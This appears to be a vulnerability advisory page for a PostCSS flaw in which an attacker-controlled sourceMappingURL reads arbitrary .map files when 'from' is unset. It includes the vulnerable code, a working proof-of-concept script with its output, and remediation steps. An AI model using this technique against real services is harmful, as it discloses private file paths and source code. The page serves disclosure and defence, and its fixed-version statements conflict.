CVE-2026-69153: PostCSS: incomplete fix of CVE-2026-45623 — attacker-controlled sourceMappingURL reads arbitrary .map files when `from` is unset
Summary
The fix for GHSA-6g55-p6wh-862q added a guard in lib/previous-map.js PreviousMap.loadFile() that restricts an attacker-controlled sourceMappingURL (from a CSS comment) to a .map extension and, for untrusted maps, rejects .. traversal and absolute paths. The traversal/absolute rejection is nested inside if (cssFile) { ... }. When PostCSS is invoked without the from option, cssFile is falsy and that branch is skipped, leaving only the .map extension check.
PreviousMap is constructed by lib/input.js whenever pathAvailable && sourceMapAvailable (under Node with source-map available), independent of opts.from/opts.map (the constructor returns early only for opts.map === false). So postcss([]).process(css) on attacker CSS reaches loadFile with cssFile undefined, and an attacker /# sourceMappingURL=/abs/path/x.map / (or ../-traversing path) is read via readFileSync. When the file is valid JSON, its sources (filesystem paths) and sourcesContent (source contents) are disclosed in the generated source map.
Affected code (v8.5.22 — the release carrying the GHSA-6g55 fix)
js // lib/previous-map.js loadFile(path, cssFile, trusted) { if (!trusted && !this.unsafeMap) { if (!/\.map$/i.test(path)) { return undefined } if (cssFile) { // guard runs ONLY when from is set let relativePath = relative(dirname(cssFile), path) if (relativePath === '..' || relativePath.startsWith('..' + sep) || isAbsolute(relativePath)) { return undefined } } } this.root = dirname(path) if (existsSync(path)) { this.mapFile = path return readFileSync(path, 'utf-8').toString().trim() // sink } }
// loadMap(): untrusted annotation path, trusted=false; file === opts.from } else if (this.annotation) { let map = this.annotation if (file) map = join(dirname(file), map) // no from -> map stays the raw URL let unknown = this.loadFile(map, file, false) // file undefined -> cssFile falsy
Proof of concept (verified on postcss 8.5.22)
js const postcss = require('postcss') const fs = require('fs')
// a 'secret' sourcemap OUTSIDE any expected tree (stand-in for another project's .map) const secret = '/tmp/pcpoc/secretoutoftree.map' fs.writeFileSync(secret, JSON.stringify({ version: 3, sources: ['/etc/REALPATHLEAK'], mappings: '', names: [], sourcesContent: ['TOPSECRETabcdef'] }))
const css = 'a{color:red}\n/# sourceMappingURL=' + secret + ' /' const leaks = m => m && JSON.stringify(m.toJSON ? m.toJSON() : m).includes('TOPSECRETabcdef')
;(async () => { // A) NO from -> guard skipped -> arbitrary absolute .map read + disclosed const a = await postcss([]).process(css, { map: true }) console.log('no from -> leaked:', !!leaks(a.map)) // true
// B) WITH from -> guard active -> blocked const b = await postcss([]).process(css, { from: '/tmp/pcpoc/in.css', map: true }) console.log('with from -> leaked:', !!leaks(b.map)) // false })()
Observed output on postcss 8.5.22:
no from -> leaked: true # sourcesContent 'TOPSECRETabcdef' AND sources '/etc/REALPATHLEAK' appear in result.map with from -> leaked: false # guard rejects the absolute path
../ traversal (no from) also succeeds; non-.map targets (.txt, ?x=.map, #.map) are blocked by the .map check. The tested build contains the GHSA-6g55 fix (this.json = JSON.parse(...) in loadMap, consumer() uses this.json || this.text), so this is a residual of that fix.
Impact
Arbitrary .map-file read (absolute path or ../ traversal) and disclosure of the target map's sources (local filesystem paths) and sourcesContent (source) into the generated source map, for any consumer that runs PostCSS on attacker-influenced CSS without a from option and exposes result.map (online CSS playgrounds, minify/lint services, string-input build steps). Bounded to files ending in .map that parse as JSON.
Suggested fix
Apply the traversal/absolute-path rejection to the untrusted map path regardless of whether cssFile is present (resolve against process.cwd() when there is no cssFile, and reject absolute paths and .. escape in all untrusted cases), or refuse to load an untrusted external map when no base file is known.
Other sources
PostCSS takes a CSS file and provides an API to analyze and modify its rules by transforming the rules into an Abstract Syntax Tree. Prior to 8.5.19, if from is unset, an attacker can cause PreviousMap.loadFile() to read an unintended source-map file by supplying an absolute or directory-traversal sourceMappingURL. The resulting map’s sources and sourcesContent may then be exposed to the application. This issue is fixed in version 8.5.19.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/postcssto a version that resolves this vulnerability.Fixed in 8.5.23 - Upgrade
Upgrade
postcssto a version that resolves this vulnerability.Fixed in 8.5.19 - Compensating control
If you run PostCSS on attacker-influenced CSS, ensure the processing includes a `from` option (so the existing guard that rejects absolute paths and `..` traversal in untrusted map paths is applied) instead of calling `process(css)` with `from` unset.
Event History
Frequently Asked Questions
What is the severity of CVE-2026-69153?
CVE-2026-69153 has a medium severity rating of 6.3 according to the CVSS scoring system.
What is the nature of the vulnerability in CVE-2026-69153?
CVE-2026-69153 allows an attacker to exploit an incomplete fix of CVE-2026-45623, leading to unauthorized access to arbitrary .map files.
How can I mitigate the risks associated with CVE-2026-69153?
To mitigate CVE-2026-69153, ensure that the `sourceMappingURL` value is properly sanitized and validate map file paths.
Which software versions are affected by CVE-2026-69153?
CVE-2026-69153 affects PostCSS versions prior to the fix that addresses the original issue from CVE-2026-45623.
Is there a patch available for CVE-2026-69153?
Yes, a patch is available in the newer releases of PostCSS that resolves the incomplete fix from CVE-2026-45623.